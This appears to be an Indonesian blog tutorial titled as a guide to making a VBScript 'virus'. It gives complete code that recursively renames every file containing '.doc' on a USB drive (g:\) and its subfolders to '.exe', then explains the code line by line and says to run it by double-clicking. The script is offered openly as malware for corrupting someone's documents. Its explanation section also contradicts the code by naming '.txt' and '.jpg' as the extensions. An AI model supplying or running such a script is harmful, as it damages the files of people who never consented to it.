Buat Virus VB Script yang mengubah extensi .doc ke .exe



Virus adalah merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Posting kali ini saya akan memberikan tutorial membuat virus dengan mudah dengan VBScript.
Kenapa harus VB Script ? karena VB Script adalah bagian dari sistem windos sendiri jadi tidak perlu Compiler untuk menjalankanya. tinggal di beri triger untuk eksekusinya.   virus yang kita buat ini tidak menyebar tapi memberikan effect untuk merubah file dengan ekstensi doc ke exe.

Berikut adalah hasil pembuatan script

1. Kerja program

  • Script ini akan bekerja bila di lakukan double klik, seperti halnya file vbs lain sistemnya sama , memanfaatkan fasilitas dari operating system microsoft yang sudah ada
  • Target program adalah mengubah file dengan extensi doc ke dalam exe
  • Target tidak secara keseluruhan di dalam komputer namun target ditentukan pada folder dan sub folder yang ditentukan . folder utama bisa juga berarti drive. Dalam hal ini saya memilih flasdisk yang terletak dalam g: maka secara keseluruhan akan merubah extensi di dalam flashdik tersebut.Code

2. Code

Option Explicit
     
Const CHANGE_FROM = ".doc"           
Const CHANGE_TO = ".exe"
     
Dim srcFolder
Dim objFSO, objFolder, oFolder
Dim colFiles

srcFolder = "g:\"

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(srcFolder)
Set colFiles = objFolder.Files

ChangeExtension colFiles
GetFilesFromSubFolders objFolder

    
Sub GetFilesFromSubFolders(objRootFolder)
 Dim oSubFolders, oSubFol
 Dim colSubFolFiles
  
 Set oSubFolders = objRootFolder.SubFolders
 If oSubFolders.Count > 0 Then
  For Each oSubFol In oSubFolders
    GetFilesFromSubFolders oSubFol
   Next 
 End If
 
 Set colSubFolFiles = objRootFolder.Files 
   ChangeExtension colSubFolFiles
End Sub

Sub ChangeExtension(collectionSet)
 Dim objFile
   For Each objFile In collectionSet
    If InStr(objFile.Name,CHANGE_FROM) Then
    objFile.Name = Replace(objFile.Name,CHANGE_FROM,CHANGE_TO)
  End If
   Next 
End Sub


3. Penjelasan code

Menyimpan string extensi yang akan di rubah dan penggantinya
  • Const CHANGE_FROM = ".txt"
  • Const CHANGE_TO = ".jpg" 
Variable untuk menyimpan data folder dan target sub folder target
  • Dim srcFolder
  • Dim objFSO, objFolder, oFolder
  • Dim colFiles 
Folder target. Dalam hal ini saya memilih flasdisk dalam drive g
  • srcFolder = "g:\"
  • Set object
  • Set objFSO = CreateObject("Scripting.FileSystemObject")
  • Set objFolder = objFSO.GetFolder(srcFolder)
  • Set colFiles = objFolder.Files 

Merubah extensi di dalam folder
  • ChangeExtension colFiles 

Merubah extensi di dalam sub folder
  • GetFilesFromSubFolders objFolder 

Procedure untuk Mendapatkan daftar file dalam tiap sub folder
  • Sub GetFilesFromSubFolders(objRootFolder) 

Merubah extensi dari tiap file di dalam sub folder
  • ChangeExtension 
Membuat variable
  • Dim oSubFolders, oSubFol
  • Dim colSubFolFiles 
Mendapatkan folder utama
  • Set oSubFolders = objRootFolder.SubFolders 
Memeriksa subfolder apakah ada isinya
  • If oSubFolders.Count > 0 Then 

Mendapatkan data di dalam subfolder
  • For Each oSubFol In oSubFolders 
GetFilesFromSubFolders oSubFol
  • Next
  • End If
  • Get the Files in the folder 
Mendapatkan data dari folder
  • Set colSubFolFiles = objRootFolder.Files
  • Change Files Extensions in Folder 
Memanggil procedure changeExtension
  • ChangeExtension colSubFolFiles
  • End Sub 
Awal procedure ChangeExtention dengan parameter collectionSet
  • Sub ChangeExtension(collectionSet) 

Membuat variable
  • Dim objFile 
Mengoleksi setiap file
  • For Each objFile In collectionSet 
Memeriksa extensi yang tersedia
  • If InStr(objFile.Name,CHANGE_FROM) Then 
Merubah extensi sesuai dengan isi variable diatas
  • objFile.Name = Replace(objFile.Name,CHANGE_FROM,CHANGE_TO)
  • End If 
Akhir dari procedure
  • Next
  • End Sub 

4. Cara menjalankan

  • Buat File New Text Document
  • Tuliskan Code vorus diatas Kemudian Simpan
  • Ubah extensi dari Text Dokumen Tadi dari .txt ke .vbs maka gambar icon akan berubah 
  • Double Klik Untuk menjalankan Script

5. Screenshot

  • Sebelum script dijalankan


  •  Masuk dalam Sub Folder sebelum dijalankan


  • Setelah Script dijalankan

  • Setelah Script dijalankan masuk dalam subfolder 

Buat Virus VB Script yang mengubah extensi .doc ke .exe Buat Virus VB Script yang mengubah extensi .doc ke .exe Reviewed by jams malix on 10:45:00 Rating: 5

No comments: